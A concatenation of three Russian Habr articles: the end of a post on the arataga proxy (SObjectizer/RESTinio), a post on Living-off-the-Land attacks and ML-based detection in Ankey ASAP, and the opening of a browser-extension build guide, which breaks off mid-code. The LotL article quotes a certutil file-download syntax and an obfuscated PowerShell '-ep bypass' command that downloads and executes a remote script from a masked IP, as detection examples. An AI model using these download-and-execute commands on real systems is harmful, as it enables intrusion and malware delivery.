Во-первых, acl\_handler инициирует асинхронные I/O операции с помощью Asio, в частности, вызывает `async_accept` у Asio-шного `asio::ip::tcp::acceptor`. В `async_accept` передается [completion-handler в виде лямбды](https://github.com/Stiffstream/arataga/blob/45dc17ae5dd39470c58750d168360bfba3bfc560/arataga/acl_handler/a_handler.cpp#L920-L948), где напрямую вызываются методы агента. Такие вызовы безопасны потому, что агент привязан к asio\_one\_thread диспетчеру. Этот диспетчер специально создан для того, чтобы на одном рабочем контексте можно было работать и с агентами, и с Asio. Если бы acl\_handler привязывался к какому-то другому диспетчеру (например, к штатному one\_thread-диспетчеру), то этого делать было бы нельзя.
Во-вторых, логика у acl\_handler достаточно тривиальная, но даже и здесь нашлось место для применения иерархического конечного автомата (которые в SObjectizer-е уже довольно давно [поддерживаются](https://habr.com/ru/post/423497/)):
Иерархический автомат потребовался здесь потому, что acl\_handler должен ограничивать количество одновременных подключений к точке входа. Поэтому, когда это количество достигает разрешенного максимума, агент переходит в состояние `st_too_many_connections`, в котором он делает практически всю свою обычную работу, за исключением новых вызовов `async_accept`.
В-третьих, агент acl\_handler не занимается сам обслуживанием принятых подключений и обработкой протоколов socks5/http. Вместо этого для каждого соединения создается т.н. connection\_handler. Это объект, в который отдается принятое подключение и который уже с этим подключением непосредственно работает. Т.е. читает из него данные, пытается определить протокол, пытается обслуживать подключение согласно того или иного протокола.
Т.е. когда в результате `async_connect` у acl\_handler появляется новый `asio::ip::tcp::socket`, то создается объект, реализующий [интерфейс](https://github.com/Stiffstream/arataga/blob/45dc17ae5dd39470c58750d168360bfba3bfc560/arataga/acl_handler/connection_handler_ifaces.hpp#L612) `connection_handler_t`, и новый `socket` отдается этому только что созданному connection\_handler-у. Больше про новое подключение acl\_handler ничего не знает. Далее acl\_handler лишь хранит у себя умный указатель на connection\_handler и лишь время от времени дергает у connection\_handler-а метод `on_timer` (тот самый "глобальный таймер" о котором речь шла выше). А вот connection\_handler дальше живет своей собственной и весьма непростой жизнью.
Вообще говоря, как раз тот кусок arataga, который относится к connection\_handler-ам, является самым мудреным в проекте. Вероятно, далеко не самым удачным. И, скорее всего, именно он мог бы стать первым кандидатом на рефакторинг по итогам опытной эксплуатации. Поскольку первая версия arataga создавалась в высоком темпе, в условиях сжатых сроков, то ничего лучше сходу придумать не удалось. Возможно, здесь следовало бы применить stackful-короутины. Но экспериментировать с ними не было времени. Так что, если история с arataga получит продолжение (что вряд ли, но вдруг), к этому куску arataga нужно будет сделать еще один, более вдумчивый подход. Пока что получилось то, что получилось :(
#### Использование retained\_mbox для распространения конфигурации
Примечательным моментом использования SObjectizer-овских mbox-ов в arataga является применение [retained\_mbox из so5extra](https://github.com/Stiffstream/so5extra/wiki/so5extra-1.4-Retained-Mbox) для распространения информации о текущей конфигурации и списках пользователей.
Особенностью retained\_mbox является то, что retained\_mbox хранит у себя последние отосланные сообщения (по одному для каждого типа отосланных сообщений). И когда кто-то делает новую подписку на некий тип сообщения, то retained\_mbox сразу же после завершения подписки отсылает этому подписчику последнее сохраненное сообщение этого типа.
В arataga это свойство retained\_mbox используется для того, чтобы агенты authentificator сразу же могли получить текущий список пользователей. Сценарий работы такой:
* стартует агент user\_list\_processor. Он читает локальную копию списка пользователей и отсылает сообщение с этим списком в retained\_mbox. На этом этапе подписчиков у retained\_mbox еще нет, но нас это не волнует;
* затем стартует агент config\_processor, который читает локальную копию конфигурации и создает io\_threads вместе с authentificator-ами;
* каждый запущенный authentificator должен получить список пользователей, для чего authentificator-ы подписываются на соответствующее сообщение из retained\_mbox-а;
* поскольку в retained\_mbox уже есть сообщение со списком пользователей, то это сообщение сразу же отсылается каждому новому подписчику.
Благодаря этому authentificator-у при старте не нужно ни у кого ничего явно запрашивать.
Правда, платить за это нужно тем, что authentificator [вынужден делать подписку в](https://github.com/Stiffstream/arataga/blob/45dc17ae5dd39470c58750d168360bfba3bfc560/arataga/authentificator/a_authentificator.hpp#L24-L31) `so_evt_start`, а не в предназначенном для этого `so_define_agent`.
### Некоторые детали использования RESTinio
Теперь попробуем пробежаться по нескольким аспектам применения RESTinio в arataga. Тем более, что одно из применений было очевидным, тогда как одно совсем не очевидным.
#### Первое применение RESTinio, самое очевидное: административный HTTP-вход
Очевидное применение, ради которого RESTinio и подтягивался в проект arataga, -- это реализация административного HTTP-входа. Как раз здесь простота асинхронной обработки входящих запросов посредством RESTinio и была нужна с самого начала.
В этом месте RESTinio используется классическим способом. Запускается RESTinio-сервер, этот сервер принимает входящие запросы, выполняет их первичную валидацию. После чего пересылает запрос во внутрь arataga и ждет ответа. Когда ответ сформирован, то RESTinio отсылает его клиенту.
Упомянуть здесь можно разве лишь то, что для взаимодействия RESTinio- и SObjectizer-частей приложения были сделаны вспомогательные интерфейсы ([раз](https://github.com/Stiffstream/arataga/blob/45dc17ae5dd39470c58750d168360bfba3bfc560/arataga/admin_http_entry/pub.hpp#L189), [два](https://github.com/Stiffstream/arataga/blob/45dc17ae5dd39470c58750d168360bfba3bfc560/arataga/admin_http_entry/pub.hpp#L114)). Когда startup\_manager запускает RESTinio-сервер, то отдает серверу реализацию интерфейса `requests_mailbox_t`. RESTinio-сервер через этот интерфейс передает в SObjectizer-часть arataga входящие запросы. И каждый входящий запрос сопровождается реализацией интерфейса `replier_t`. Посредством этого интерфейса реальные обработчики запроса могут отвечать RESTinio-серверу.
Два эти интерфейса скрывают от RESTinio-части существование SObjectizer-части arataga и наоборот. Что мне показалось полезным. Хотя бы плане сокращения времени компиляции отдельных cpp-файлов.
#### Второе применение RESTinio, не очевидное, но вполне ожидаемое: работа с HTTP-заголовками при проксировании HTTP-соединений
Второе применение стало для меня лично неожиданным, хотя оно было вполне себе логичным. Дело в том, что применить RESTinio в его текущем виде для проксирования HTTP-соединений не представляется возможным в силу нынешних архитектурных особенностей RESTinio.
Поэтому работу с проксируемыми HTTP-соединениями в arataga пришлось делать "с нуля". И одной из составляющей этой работы является разбирательство с HTTP-заголовками в запросах/ответах, а также с содержимым некоторых из них.
И вот когда у меня руки дошли до обработки HTTP-заголовков в проксируемых соединениях, то я внезапно (c) осознал, что в RESTinio уже есть инструментарий для этого. Чем и воспользовался, хотя изначально о таком даже и не думал.
#### Третье применение RESTinio, совсем не очевидное: синтаксический разбор конфигурации
А вот третье, совсем не очевидное, применение RESTinio не то, чтобы было сразу мной задумано. Но такой вариант начал просматриваться чуть ли не с самого начала.
В arataga нужно было парсить два типа конфигурационных файлов (собственно конфигурация и список пользователя). У каждого из которых был свой, уже устоявшийся к тому времени синтаксис.
Плюс к тому в этот синтаксис хотелось внести небольшие, но важные с точки зрения простоты использования, дополнения. Вроде суффиксов, которые бы обозначали объем данных или времена таймаутов. Например:
```
acl.io.chunk_size 16kib # Вместо 16384
timeout.authentification 1200ms # Вместо 1200
timeout.connect_target 7s # Вместо 7000
```
Ну и для того, чтобы не делать парсинг конфигов вручную только штатными средствами стандартной библиотеки C++ (очень куцей в этом плане), нужно было задействовать какой-то генератор парсеров. А зачем тащить в проект еще что-то, если [нечто подобное](https://habr.com/ru/post/501498/) уже есть в RESTinio?
Так что easy\_parser из RESTinio, который изначально появился в RESTinio для упрощения разбора HTTP-заголовков, пригодился в arataga и для разбора конфигурации.
Любопытный, на мой взгляд, пример использования easy\_parser-а из RESTinio можно найти [здесь](https://github.com/Stiffstream/arataga/blob/v0.2.0/arataga/utils/transfer_speed_parser.hpp). Именно этот `transfer_speed_p()` используется для реализации команд конфигурации вроде:
```
bandlim.in 850kib
bandlim.out 700kib
```
Заключение
----------
Реальные проекты, подобные arataga, являются отличным полигоном, на котором разработчик библиотеки может увидеть насколько удобна его библиотека вне тепличных условий уютного манямирка. Как правило, при использовании библиотеки в новом проекте отлично проявляются просчеты в дизайне библиотеки и/или же обнажаются подводные камни, о которых ты пока что даже и не подозревал. Из чего затем вырастают вполне себе конкретные идеи о том, куда следует двигаться дальше.
С RESTinio это сработало на 100%. Опыт применения RESTinio в arataga дал ~~пинка под за~~ толчок в сторону разработки пусть приблизительного, но аналога middleware из ExpressJS. Первый результат [уже доступен в 0.6.13](https://habr.com/ru/post/535442/). И, если пойти на слом API в ветке 0.7, то можно будет поддержать и цепочки асинхронных обработчиков.
Но еще более важным итогом использования RESTinio в arataga стало изменение лично [моих взглядов](http://eao197.blogspot.com/2021/01/progc-restinio-restinio-2021.html) на позиционирование RESTinio в мире аналогичных фреймворков для C++.
Так что для RESTinio испытание arataga оказалось исключительно полезным.
А вот с SObjectizer-ом получилось скучно и обыденно. Он просто работал. Ничего не пришлось подкручивать или добавлять. Кой-какие мысли о потенциально привлекательных направлениях дальнейшего движения появились. Но пока не вполне оформившиеся и не имеющие однозначно четкого подтверждения того, что это реально необходимо делать.
Я же надеюсь, что данная статья даст читателям, которые с любопытством посматривают на [RESTinio](https://github.com/Stiffstream/restinio) и/или [SObjectizer](https://github.com/Stiffstream/sobjectizer)(+[so5extra](https://github.com/Stiffstream/so5extra)), но пока что сами эти проекты не пробовали, возможность взглянуть на реальный код, написанный с применением наших инструментов. И сделать собственные выводы о том, нравится ли увиденное или нет.
Что касается перспектив самих RESTinio и SObjectizer/so5extra, то тут [все не так однозначно и без внешней поддержки, боюсь, их развитие приостановится](http://eao197.blogspot.com/2021/01/softbusiness-restiniosobjectizerso5extra.html). Впрочем, это уже совсем другая история… | https://habr.com/ru/post/537616/ | null | ru | null |
# Проблема LotL-атак: старый и надежный метод нелегитимного использования легитимного ПО
В последние годы предприятия и корпорации находятся под атакой продвинутых злоумышленников, которые используют все более творческие подходы к компрометации систем безопасности. Одним из наиболее распространенных методов являются [LotL-атаки](https://www.securitylab.ru/glossary/lotl_ataka/#:~:text=LotL-%D0%B0%D1%82%D0%B0%D0%BA%D0%B0%20(Living%20off%20the%20Land),%D0%BE%D1%81%D1%82%D0%B0%D0%B2%D0%BB%D1%8F%D1%8E%D1%82%20%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%20%D0%B2%20%D0%9F%D0%97%D0%A3%20%D1%83%D1%81%D1%82%D1%80%D0%BE%D0%B9%D1%81%D1%82%D0%B2) (Living off the Land).
Данный вид атак не является новым. Эксплуатация LotL заключается в использовании легитимного программного обеспечения (уже присутствующего в системе) для осуществления деструктивных действий, таких как получение неправомерного доступа, повышение привилегий, отправка и получение файлов, изменение системных настроек и т.д. Популярными инструментами являются [*PowerShell*](https://ru.wikipedia.org/wiki/PowerShell), *WMI*, *CMD*, *CLI*, *BASH* и другие.
Современная популярность данного метода атак определяется тем, что их нельзя обнаружить посредством сравнения сигнатур. Как правило, они не оставляют следов в виде вредоносных файлов и не записывают данные в память, а поведение злоумышленника сравнимо с традиционной активностью системного администратора в операционной системе. Из этого вытекает еще одна проблема статических правил – огромное количество ложных срабатываний.
По итогам первого квартала 2022 года инструменты WatchGuard Technologies [зафиксировали](https://www.watchguard.com/wgrd-resource-center/security-report-q1-2022), что 88% всех вредоносных программ являются скриптами, выполняющими злонамеренные команды. *«Это говорит о том, что злоумышленники переходят от традиционного вредоносного ПО к атакам с использованием технологии LotL, чтобы избежать обнаружения на основе сигнатур. Что еще более интересно, PowerShell представляет собой более 99% этого вредоносного ПО»,* – отмечают исследователи. Данный факт объясняется тем, что инструмент PowerShell является кроссплатформенным, он предустановлен на самой популярной ОС на данный момент и имеет множество различных подключаемых модулей.
### Эксплуатирование LotL-атак встроенными в ОС утилитами
В настоящее время атаки типа LotL все больше представляют интерес для злоумышленников. Об этом сообщают различные компании, например [Microsoft](https://www.microsoft.com/security/blog/2018/09/27/out-of-sight-but-not-invisible-defeating-fileless-malware-with-behavior-monitoring-amsi-and-next-gen-av/), [Symantec](https://docs.broadcom.com/doc/internet-security-threat-report-volume-24-en), [Trellix](https://www.trellix.com/en-us/threat-center/threat-reports/jul-2022.html). Методы таких атак используют существующие системные инструменты в рамках вредоносной деятельности и могут быть использованы как злоумышленниками, которые получили доступ к целевой системе, так и скрытым вредоносным ПО.
Рассмотрим примеры традиционных потенциально вредоносных программ и методов Living-off-the-Land. Большинство таких инструментов, используемых для атак LotL есть в [LOLBAS](https://lolbas-project.github.io/) – проект, в котором перечислено большинство двоичных файлов, сценариев и библиотек для использования в LotL-атаках. Эти средства широко задействуются на разных этапах атак: от доставки до выполнения полезной нагрузки, от горизонтального перемещения до кейлоггинга и сбора информации.
Например, утилита *certutil.exe* предназначена для управления сертификатами в Windows. С помощью этой программы можно устанавливать, создавать резервные копии, удалять и управлять хранилищами сертификатов в Windows. Одной из особенностей *certutil.exe* является возможность загрузить сертификат или любой другой файл по удаленному URL-адресу, сохранив его в виде локального файла. Для этого используется следующий синтаксис:
`certutil.exe -urlcache -split -f [URL] output.file`
Также, данная утилита может использоваться с ключом *–decode* для декодирования файла. Данная функция позволит злоумышленникам обойти антивирусные сканеры. Об этом [писал](https://isc.sans.edu/diary/rss/23517) исследователь Ксавье Мертнес.
Не менее интересной утилитой является *bitsadmin.exe* – это средство командной строки, используемое для создания, загрузки и передачи заданий, а также для отслеживания хода выполнения. Злоумышленники могут использовать данную утилиту для загрузки вредоносных файлов во временное расположение (temp) и отправки заданий для выполнения payload.
И, конечно, вышеупомянутая утилита *PowerShell*. Используя это средство, злоумышленники могут запускать скрипты в обход установленной политики выполнения. Для этого они эксплуатируют аргумент *–ep* с флагом *bypass*. Данный флаг добавлен разработчиками Microsoft для обхода execution policy при запуске скриптов из файлов.
### Традиционные методы выявления LotL-атак и их недостатки
Для того, чтобы получать уведомления об инцидентах и оперативно выявлять источник угрозы можно использовать различные правила корреляции в SIEM-системах. Одним из бесплатных решений для сбора событий Windows с помощью инструментов c открытым исходным кодом является SEC (Simple Event Correlator). Данный инструмент стоит использовать в ансамбле, который может включать в себя следующие утилиты:
- [Event to Syslog Service](https://code.google.com/archive/p/eventlog-to-syslog/) (*evtsys*) в качестве агента системного журнала Windows,
- [*rsyslog*](https://www.rsyslog.com/) в качестве централизованного сборщика,
- [Simple Event Correlator](http://simple-evcorr.github.io/) (SEC) для анализа и оповещения.
Общая архитектура решения выглядит следующим образом:
Рисунок 1 – Общая архитектура решения На рисунке отображены следующие возможные этапы работы комплекса:
1. Запуск нового вредоносного процесса.
2. Создание аудитом Windows события с кодом 4688 и его запись в журнал безопасности Windows.
3. Идентификация события в соответствии с фильтром в *evtsys*.
4. Преобразование записей журнала в удобный для передачи формат. Отправка по сети в централизованный сервер *rsyslog*.
5. Получение событий журнала утилитой *rsyslog* по сети и запись его в /var/log/win.log.
6. Проверка файла /var/log/win.log утилитой Simple Event Correlator и сопоставление строки «scvhost» с правилами корреляции. Ознакомиться подробнее с примерами правил корреляции можно по следующим ссылкам [[1](https://github.com/markuskont/SagittariuSEC/), [2](https://github.com/ccdcoe/frankenSEC/), [3](https://github.com/simple-evcorr/rulesets/)].
7. Оповещение по электронной почте создается и отправляется аналитику безопасности.
8. Получение оповещения аналитиком безопасности по электронной почте.
Тем не менее, при комплексной реализации данного подхода существуют очевидные минусы решения, а именно:
* **необходимость** **тонкой настройки** политик аудита безопасности, правил корреляций и сигнатур. В этом вопросе крайне важна точность, потому что подобными утилитами могут пользоваться легитимные пользователи, такие, как системные администраторы;
* как следствие, **огромное количество ложноположительных срабатываний** правил, большая работа с разборами инцидентов и дополнительная головная боль;
* обратная сторона медали – **0-day уязвимости**, то есть уязвимости и атаки нулевого дня. Всегда существует вероятность разработки нового, ранее неизвестного способа проведения атаки или эксплуатирования уязвимостей, поэтому правила корреляции в этом случае будут неэффективны;
* из предыдущего пункта появляется еще одна проблема – **сложность поддержания** всех правил и сигнатур в **актуальном состоянии.**
### Перспективное машинное обучение в обнаружении инцидентов
Большой объем и разнообразие событий, наблюдаемых в организациях, создает проблему для обнаружения атак LotL с применением правил и эвристики, тем не менее, поведенческий анализ с использованием машинного обучения является более предпочтительным решением для данной проблемы, так как он нивелирует практически все вышеперечисленные недостатки.
Группа безопасности Microsoft Defender [выпустила](https://www.microsoft.com/security/blog/2020/03/23/latest-astaroth-living-off-the-land-attacks-are-even-more-invisible-but-not-less-observable/) исследование о вредоносном программном обеспечении (ВПО) для кражи информации Astaroth. Данный троян использует техники LotL-атак для злоупотребления различными процессами, которые принято считать легитимными, чтобы попытаться запуститься незамеченным на скомпрометированных машинах. ВПО отмечалось необычным всплеском активности, связанным с командной строкой инструментария управления (WMIC), что позволило довольно быстро разоблачить данную кампанию. Теперь же Astaroth полностью избегает использования WMIC и связанных с ним методов для обхода существующих обнаружений. Вместо этого злоумышленники ввели новые методы, которые делают цепочку атак еще более скрытной:
* злоупотребление альтернативными потоками данных (ADS);
* злоупотребление легитимным процессом ExtExport.exe для загрузки полезной нагрузки.
В свою очередь, команда FortiGuard SE от компании Fortinet [опубликовала](https://www.fortinet.com/blog/threat-research/silence-group-playbook) исследование о киберпреступной организации Silence Group, основной целью которых является банковская информация, в частности, платежные карты. Для достижения своих целей Silence Group используют технику LotL-атак, которая позволяет работать на зараженном объекте как можно дольше, используя легитимные инструменты или команды, встроенные в операционную систему.
Как и [большинство](https://www2.deloitte.com/my/en/pages/risk/articles/91-percent-of-all-cyber-attacks-begin-with-a-phishing-email-to-an-unexpected-victim.html) атак, типичная угроза Silence Group начинается с целевого фишингового письма с вредоносными вложениями. Вложения могут быть представлены в виде документа Microsoft Word или скомпилированного Microsoft файла справки HTML. При выполнении пользователем вредоносного сценария файла, происходит установка соединения с удаленным сервером и инициируется второй этап атаки, где загружается вредоносный файл, который деобфусцируется и выполняет команду PowerShell. Без ведома пользователя команда PowerShell вызывает другой сервер для извлечения двоичного файла, который затем расшифровывается в загрузчик третьего уровня. Последний загрузчик предназначен для получения полезной нагрузки Silence, которая состоит из нескольких различных модулей, в зависимости от того, в какой фазе общей атаки в настоящее время находится группа.
Компания Elastic [анонсировала](https://www.elastic.co/blog/detecting-living-off-the-land-attacks-with-new-elastic-integration) свой пакет обнаружения Living off the land атак ProblemChild. Пакет обнаружения ProblemChild, обученный по модели «с учителем» использует информацию о происхождении процесса, присутствующую в метаданных событий процесса Windows, для классификации событий как вредоносных или доброкачественных с помощью предположений ([Inference](https://www.elastic.co/guide/en/machine-learning/current/ml-dfa-classification.html#ml-inference-class)). Затем, обнаружение аномалий применяется для обнаружения редких процессов среди тех, которые были помечены моделью как вредоносные. Наконец, правила обнаружения оповещают о редкой активности процесса родитель-потомок как признак LotL-атак.
Все приведенные выше примеры иллюстрируют, как методы LotL стали стандартными компонентами современных атак, направленных на избежание обнаружения средствами безопасности.
### Современный комплекс обнаружения инцидентов безопасности с применением машинного обучения
Ankey ASAP (Advanced Security Analytics Platform) – продукт для углублённого изучения событий по информационной безопасности c функциями поведенческого анализа. Получая данные средств защиты информации и информационных систем, Ankey ASAP формирует контент для помощи в расследовании киберинцидентов и анализирует поведение пользователей и компонентов корпоративной сети с помощью эвристических и статистических алгоритмов машинного обучения для выявления признаков киберугроз, целевых атак и инсайдеров.
Модуль обнаружения LotL-атак в Ankey ASAP включает в себя два метода:
1. Метод на основе профилирования и выявления аномалий в поведении процессов;
2. Метод на основе классификации хороших и плохих исполняемых команд.
Первый метод можно характеризовать как обучение без учителя: каждое отклонение от типичного поведения будет повышать скоринговый балл хоста, где выполняется процесс. Скоринговая модель обеспечивает подсчет баллов по каждому пользователю или узлу. Данная величина характеризует вероятность того, что совокупность событий может представлять угрозу безопасности. Соответственно, при высокой динамике или приближении к порогу скоринга будет регистрироваться подозрение на инцидент для данного хоста.
Второй метод основан на более точечном воздействии. Его можно характеризовать как обучение с учителем, результатом которого будет являться зарегистрированный в системе инцидент.
### Метод профилирования
В первом методе мы использовали анализатор профилирования, который по заданным признакам строит базовую линию поведения и выявляет отклонения от нее.
Этот алгоритм состоит из следующих этапов:
**1. Построение базовой линии:**
а. определение и трансформация исходных данных
б. эвристический подбор признаков (индикаторов) поведения
в. расчет признаков, нормализация и формирование профилей поведения
г. формирование базовых линий поведения
Рисунок 2 – Формирование базовой линии **2. Выявление отклонений:**
д. расчет метрик близости к базовой линии для каждого нового профиля;
е. сравнение метрик близости с критическими границами распределения;
ж. определение результата наличия или отсутствия отклонения в профиле.
**3. Интерпретация отклонений:**
з. определение признака, наиболее повлиявшего на отклонение.
**4. Оценка результатов (скоринг):**
и. кодирование всех профилей – присвоение наиболее редким комбинациям более высокой оценки.
Рисунок 3 – Выявление отклоненийПрофиль считается для каждого процесса на каждом уникальном хосте, что позволит повысить точность определения аномалии. Также для данного анализатора были разработаны соответствующие модели по профилированию деятельности процессов.
Модель работает на 3 типах событий и содержит 86 признаков, характеризующих поведение процесса. Примеры признаков, которые задействованы в нашей модели:
* количество запусков процессом дочерних процессов на устройствах инфраструктуры;
* количество запусков процессов, чей исполняемый файл находится в каталоге "Program files" или "Program files (x86)";
* количество запусков реестровых процессов.
Выходным результатом является сообщение о статусе текущего профиля, т.е. временного промежутка с данными: было ли отклонение, какое оно и её размерность. Например, если оно будет максимально редким для этой машины, и редким среди других похожих машин, то профиль будет иметь наивысший скоринговый балл. А далее – в зависимости от настройки правил формирования инцидента, может попасть в список подозрений на инцидент.
В модели для ОС Linux использованы события аудита syscall, т.е. механизма взаимодействия программ с ядром Linux.
### Метод классификации
Следующий метод работает на основе классификаторов. Вдохновителем этого модуля послужило открытое решение от Adobe Security Team, которое они опубликовали в конце 21 года.
Алгоритм решения следующий: входным набором данных является выполняемая команда, включая все её аргументы. Из неё извлекаются признаки и затем, с помощью предобученных моделей, выполняется классификация с помощью метрики [BLEU](https://en.wikipedia.org/wiki/BLEU) (BiLingual Evaluation Understudy). Следом, команде присваивается одно из трех значений – GOOD, BAD, NEUTRAL.
Рисунок 4 – Решение от Adobe Security Coordination CenterАлгоритм классификации основан на методе [Random Forest](https://en.wikipedia.org/wiki/Random_forest), т.к. по исследованиям Adobe он показал наилучшие результаты по точности и по времени обучения.
Рисунок 5 – Результаты сравнения алгоритмов классификацииВ качестве дополнительной меры, на основе справочника плохих команд производится поиск паттерна, и, если схожесть команд достигает определенной степени, команда признается плохой.
Рассмотрим конкретный пример LotL-атаки из жизни, который был успешно обнаружен модулем выявления Lotl-атак Ankey ASAP. От лица пользователя был запущен процесс следующей терминальной команды:
`poWerSHEll –ep bypass LEx(nEw-oBJecT sySTEm.nEt.wEbcLIenT).dOWnLOadsTRiNg(‘HttP://xxx.xx.xx.xxx/xxx.ps1’)`
IP-адрес был скрыт по соображениям безопасности.
В команде задействуется аргумент *–ep* с флагом *bypass*. Данный флаг добавлен разработчиками Microsoft для обхода execution policy при запуске скриптов из файлов. Microsoft заявляет, что при использовании этого флага «ничего не блокируется и не выводится никаких предупреждений или сообщений». Техника не влечет за собой изменения настроек и не требует записи на диск.
Стоит упомянуть о том, что по умолчанию выполнение сценариев Windows PowerShell в системе запрещено. По соображениям безопасности все скрипты PowerShell должны быть подписаны цифровой подписью, а данный метод называется политикой выполнения.
Если же скрипт не соответствует этому условию, то выполнение сценария блокируется. Это связано в первую очередь с тем, что в скрипте может находиться вредоносный код, который может нанести вред ОС.
PowerShell имеет несколько режимов, которые определяют, какой тип кода разрешается к выполнению. [Существуют](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7) различные политики выполнения:
1. Ограниченный (Restricted) – значение по умолчанию. Блокируется выполнение любых скриптов и разрешается работа интерактивных команд.
2. Все подписанные (All Signed) – разрешено выполнение скриптов, имеющих цифровую подпись доверенного издателя.
3. Удаленные подписанные (Remote Signed) – локальные скрипты работают без подписи. Все загруженные скрипты должны иметь цифровую подпись доверенного издателя.
4. Неограниченный (Unrestricted) – разрешено выполнение любых скриптов. При запуске неподписанного скрипта, который был загружен из Интернета, программа может потребовать подтверждение.
5. Обходной (Bypass) – ничего не блокируется, никакие предупреждения и запросы не появляются.
В данном примере PowerShell был использован в качестве загрузчика для скрипта, который находился по ip-адресу. При этом была применена политика Bypass, что позволило выполнить данную команду в обход установленной политики.
Скрипт содержит одну команду, в которую передается аргументом еще один скрипт в кодированном виде:
Рисунок 6 – Закодированный скриптПо содержимому скрипта, передаваемого в PowerShell как аргумент, который был закодирован, можно сделать вывод о том, что устанавливалась попытка TCP-соединения. Декодированное содержимое на рисунке ниже:
Рисунок 7 – Декодированный скриптДанная Lotl-атака была зафиксирована Ankey ASAP. На рисунке ниже приведены основные поля об инциденте.
Рисунок 8 – Карточка инцидентаЧтобы быстро решить проблему эксплуатации подобных инцидентов можно отключить PowerShell, но данный метод является слишком примитивным. Отключение злоумышленника от общего сегмента в данном случае более эффективно и профессионально.
Таким образом, можно заключить, что для противодействия LotL следует использовать средства защиты, основанные на моделях машинного обучения и поведенческом анализе. Данные технологии позволяют фиксировать аномальные активности даже среди, казалось бы, вполне легитимных средств и команд.
### Глоссарий
[**LotL**](https://encyclopedia.kaspersky.ru/glossary/lotl-living-off-the-land/) (Living off the Land) – атака, при которой злоумышленник использует легитимные программы и функции для выполнения вредоносных действий в целевой системе
[**PowerShell**](https://docs.microsoft.com/ru-ru/powershell/scripting/overview?view=powershell-7.2) – кроссплатформенное решение для автоматизации задач, которое включает оболочку командной строки, скриптовый язык и платформу управления конфигурацией
[**WMI**](https://docs.microsoft.com/ru-ru/windows/win32/wmisdk/wmi-start-page) (Windows Management Instrumentation) – инструментарий управления Windows
[**CMD**](https://ru.wikipedia.org/wiki/Cmd.exe) (Command Line Interpreter) – интерпретатор командной строки
[**CLI**](https://en.wikipedia.org/wiki/Command-line_interface) (Common Language Infrastructure) – общеязыковая инфраструктура для платформы Microsoft .NET
[**BASH**](https://ru.wikipedia.org/wiki/Bash) (Bourne Again Shell) – усовершенствованная и модернизированная вариация командной оболочки Bourne shell
[**Malware**](https://en.wikipedia.org/wiki/Malware) (Malicious Software) – вредоносное программное обеспечение
[**SIEM**](https://encyclopedia.kaspersky.ru/glossary/siem/) (Security Information and Event Management) – класс программных продуктов, предназначенных для сбора и анализа информации о событиях безопасности
[**Ankey ASAP**](https://www.gaz-is.ru/produkty/upravlenie-ib/ankey-asap.html) (Ankey Advanced Security Analytics Platform) – продукт класса расширенной аналитики событий информационной безопасности c функциями поведенческого анализа
Материал подготовили сотрудник ГК «Газинформсервис» Манкаев Расул. | https://habr.com/ru/post/696806/ | null | ru | null |
# Разработка кросс-браузерных расширений
В своей прошлой статье, я упомянул о [выпуске](http://habrahabr.ru/company/likeastore/blog/222515/) браузерного расширения для Google Chrome, который способен повысить эффективность поиска, за счет предоставления релевантной информации из статей понравившихся вам в социальных сетях.
На сегодня мы поддерживаем 3 главных браузера Chrome, Firefox и Safari, причем, не смотря на разницу платформ, все собираются из одной кодовой базы. Я расскажу, как это было сделано и как упростить себе жизнь разрабатывая браузерные расширения.
#### В начале пути
Началось все с того, что я сделал простое расширение к Chrome. К слову замечу, что разработка под Chrome оказалась самой приятной и удобной. Особо не заморачиваясь никакой автоматизацией, после локальной отладки паковал содержимое расширения в `.zip` и аплоадил в Web Store.
Расширение хорошо адаптировалось нашей аудиторией, метрики и отзывы пользователей говорили о том, что это то, что надо. И так как 15% нашего траффика приходится на Firefox, следующим должен быть он.
Суть всех браузерных расширений одна — это HTML/CSS/JS приложения, со своим манифест файлом, описывающий свойства и контент и собственно исходный код. Поэтому моя первичная идея была следующей — копирую репозиторий расширения для Chrome и адаптирую его для Firefox.
Но в процессе работы я почувствовал знакомое многим программистам чувство «виновности» за copy-paste. Было очевидно, что 99% кода переиспользуется между расширениями и перспективе роста функциональности поддержка различных веток может превратится в проблему.
Так получилось, что мне попался на глаза отличное расширение [octotree](https://github.com/buunguyen/octotree) (рекомендую всем, кто активно пользуется GitHub), я заметил в нем баг и решил исправить его. Но когда я склонировал репозиторий и начал разбираться с содержимым, то обнаружил интересную особенность — все 3 расширения octotree собираются из одного репозитория. Как и случае [Likeastore](https://likeastore.com), [Octotree](https://github.com/buunguyen/octotree) это простой content injection и поэтому их модель отлично подходила и для меня.
Я адаптировал и улучшил процесс сборки в Octotree для своего проекта (баг кстати тоже был [пофикшен](https://github.com/buunguyen/octotree/pull/60)) смотрите, что получилось.
#### Структура приложения
Я предложу структуру приложения, которая по моему мнению будет подходить для любых расширений.
**build**, **dist** — автогенерируемые папки, в которые укладываются исходный код расширений и готовое к дистрибуции приложение, соответвенно.
**css**, **img**, **js** — исходный код расширения.
**vendor** — платформо-зависимый код, отдельная папка под каждый броузер.
**tools** — инструменты необходимые для сборки.
Все собирается gulp'ом — «переосмысленным» сборщиком проектом для node.js. И даже если вы не используете ноду в производстве, я крайне рекомендую установить ее на свою машину, уж очень много полезного появляется сейчас в галактике npm.
#### Платформо-зависимый код
Начнем с самого главного — если вы начинаете новый проект, или хотите адаптировать существующий, необходимо четко понять, какие платформо-зависимые вызовы будут нужны и выделить их отделый модуль.
В моем случае, такой вызов оказался только один — получение URL к ресурсу внутри расширения (в моем случае, к картинкам). Поэтому выделился отдельный файл, browser.js.
```
;(function (window) {
var app = window.app = window.app || {};
app.browser = {
name: 'Chrome',
getUrl: function (url) {
return chrome.extension.getURL(url);
}
};
})(window);
```
Соответвующие версии для [Firefox](https://github.com/likeastore/browser-extension/blob/master/vendor/firefox/browser.js) и [Safari](https://github.com/likeastore/browser-extension/blob/master/vendor/safari/browser.js).
В более сложных случаях, browser.js расширяется под все необходимые вызовы, образуя фасад между вашим кодом и браузером.
Помимо фасада, к платформо-зависимому коду относятся манифесты и настройки расширения. Для Chome это `manifest.json`, Firefox `main.js` + `package.json` и наконец Safari, который по-старинке использует .plist файлы — Info.plist, Settings.plist, Update.plist.
#### Автоматизируем сборку с gulp
Задача сборки, суть копирование файлов исходного кода расширения и платформо-зависимого кода в папки, структуру которых диктует сам браузер.
Для этого создаем 3 gulp таска,
```
var gulp = require('gulp');
var clean = require('gulp-clean');
var es = require('event-stream');
var rseq = require('gulp-run-sequence');
var zip = require('gulp-zip');
